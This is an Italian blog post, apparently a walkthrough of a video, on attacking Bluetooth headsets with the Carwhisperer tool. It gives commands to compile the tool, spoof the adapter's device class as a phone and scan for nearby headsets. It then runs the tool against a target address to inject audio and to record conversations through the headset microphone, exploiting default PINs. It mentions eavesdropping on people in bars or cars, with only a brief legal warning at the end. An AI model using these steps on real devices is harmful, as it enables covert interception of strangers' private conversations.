In rete ho trovato un video molto interessante che spiega come “iniettare” un messaggio audio registrato da noi verso un auricolare bluetooth..e di “catturare” le conversazioni che vi intercorrono.
Non e’ una grossa novita’, perche’ tutto l’howto si basa su Carwhisperer..un noto programma che consente di “sniffare” traffico da un auricolare bluetooth, o un device con gli stessi servizi SCO:

[youtube 1c-jzYAH2gw]

Il mio inglese vacilla, ma da quanto ho capito il procedimento e’ molto semplice. Ecco quello di cui abbiamo bisogno

Le dipendenze per compilare Carwhisperer sono:

sudo apt-get install libbluetooth-dev libkbluetooth-dev

Scarichiamo il programma dalla Homepage:

Estraiamo il tarball nella /home:

tar xvfz carwhisperer-0.2.tar.gz
cd ~/carwhisperer-0.2

Controlliamo alcune informazioni sul nostro device:

hciconfig

hci0: Type: USB
BD Address: 00:0A:94:01:9D:D1 ACL MTU: 384:8 SCO MTU: 64:8
UP RUNNING PSCAN ISCAN
RX bytes:1838154 acl:116 sco:35948 events:154 errors:0
TX bytes:2155 acl:73 sco:0 commands:59 errors:0

NB: Naturalmente a noi dovranno uscire due devices: computer 1 e computer 2.
Il giochetto funziona solo se il PIN contenuto in /etc/bluetooth e’ 0000 oppure 1234 (il pin che utilizzano di default parecchi devices).

Controlliamo la classe del dispositivo:

hciconfig hci0 class

hci0: Type: USB
BD Address: 00:0A:94:01:9D:D1 ACL MTU: 384:8 SCO MTU: 64:8
Class: 0×180104
Service Classes: Capturing, Object Transfer
Device Class: Computer, Desktop workstation

In molti headset, l’inject o il capture, funzionano solo se la classe del dispositivo e’ impostata su Phone, quindi:
NB: Copiamoci la classe attuale per reinserirla a prova finita!

sudo hciconfig hci0 class 0x50204

hci0: Type: USB
BD Address: 00:0A:94:01:9D:D1 ACL MTU: 384:8 SCO MTU: 64:8
Class: 0×050204
Service Classes: Positioning, Rendering
Device Class: Phone, Cellular

Ora non dobbiamo fare altro che connetterci con carwhisperer all’headset remoto. Per rilevare il MAC addres dell’headset basta lanciare:

hcitool scan

Scanning …
00:0F:DE:AE:13:2B HBH-600

Ora compiliamo il programma, dalla directory dei sorgenti, con:

cd ~/carwhisperer-0.2
make

Qui arriva la parte che non ho ben compreso. Per iniettare il nostro file audio sull’headset remoto basta lanciare il programma con:

./carwhisperer hci0 in.raw out.raw 00:0F:DE:AE:13:2B

In realta’ , a quanto afferma l’autore, e’ possibile connettersi da remoto all’headset, senza che sia in atto alcuna attivita’ altrimenti il canale sarebbe occupato..credo. Cosi’ possiamo registrare attraverso il microfono dell’headset stesso tutte le conversazioni che riusciamo a catturare nell’ambiente!
Ed e’ proprio cosi’ che si chiude il video, mentre la dimostrazione pratica si riferisce all’injection (peccato..ehehe).
Tutte le altre informazioni dovrebbero comunque essere ben spiegate nel file README di Carwhisperer, dove troviamo anche come generare un file .WAV dai nostri file .RAW. Esempio – Per generare un file audio da una registrazione:

sox -t raw -r 8000 -c 1 -s -w -t wav -r 44100 -c 2 out.wav

La prova che ho effettuato e’ andata a buon fine:

dyve@kubuntu:~/Desktop/carwhisperer-0.2$ ./carwhisperer hci0 test.raw out.raw 00:0F:DE:AE:13:2B
Voice setting: 0×0060
RFCOMM channel connected

Effettivamente ho ricevuto una specie di “trillo” telefonico dall’auricolare dell’headset.
Inutile ripetere che queste cose si fanno tra le nostre mura domestiche, a meno che non abbiate voglia di farvi beccare a registrare le conversazioni della gente al bar o mentre sosta con l’auto davanti al passaggio a livello. Le pene sono molto severe.

Il tuo indirizzo ip:
50.17.109.248